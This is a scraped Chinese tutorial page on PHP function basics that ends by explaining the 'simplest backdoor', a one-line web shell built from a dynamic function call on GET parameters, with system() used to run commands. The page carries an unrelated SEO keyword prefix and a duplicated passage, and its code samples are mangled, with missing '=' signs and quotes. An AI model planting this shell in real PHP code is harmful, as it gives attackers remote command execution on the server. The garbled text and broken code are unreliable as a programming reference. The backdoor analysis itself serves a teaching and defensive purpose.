天津开发区网站,网站创建方法,品牌推广建议,快速学电脑培训班PHP函数的定义与最简单后门原理 文章目录 PHP函数的定义与最简单后门原理函数的定义函数调用的过程变量的范围局部变量全局变量 可变函数动态函数 PHP 最简单后门原理分析 函数的定义
使用function关键字来定义一个函数定义函数的函数名避开关键字形式参数是传递映射的实际参数…PHP函数的定义与最简单后门原理 文章目录 PHP函数的定义与最简单后门原理函数的定义函数调用的过程变量的范围局部变量全局变量 可变函数动态函数 PHP 最简单后门原理分析 函数的定义
使用function关键字来定义一个函数定义函数的函数名避开关键字形式参数是传递映射的实际参数是实际参与运算的返回值是自定义函数运行完成后返回的值默认是空(NULL)
函数调用的过程 在调用函数时会在内存中开辟一段空间去执行函数 函数调用结束之后会回到调用的位置继续向下执行
变量的范围 局部变量 全局变量 超全局变量
局部变量
局部变量就是在函数内部定义的变量
除函数体内外部无法调用此变量
如果要想使用局部变量
传参全局变量的声明
全局变量
全局变量无论在函数内部外部都可以被调用使用但是要在函数定义时使用global关键字去定义变量
可变函数
动态函数
可变函数也叫变量函数动态函数函数名可以动态设置和调用。
function test(){}$fun_nametest;
$fun_name();//这里就相当于test()调用了这个函数直接把函数名赋值给变量通过修改变量的值可以实现动态调用。
function test(){}$fun_name($_GET[fun_name]);
$fuPHP 最简单后门原理分析
通过定义动态函数来调用php内置函数
pre
?php$fun_name ($_GET[a]);var_dump( $_GET );$fun_name($_GET[b]);
?这是动态函数的创建然后我们看一下执行的数据我们去浏览器进行GET传参的形式访问 可以看到这是为_GET超全局变量数组创建了索引并在url中对创建好的的下标索引进行赋值 通过这种方式一个下标接收调用php系统内置函数system另一个下标接收要执行的命令并从而达到对系统的一个控制
经过分析从而得出结论
?php
$_GET[a]($_GET[b]);
?通过黑客利用PHP动态函数和_GET传参的特性从而达到一个简单后门的部署
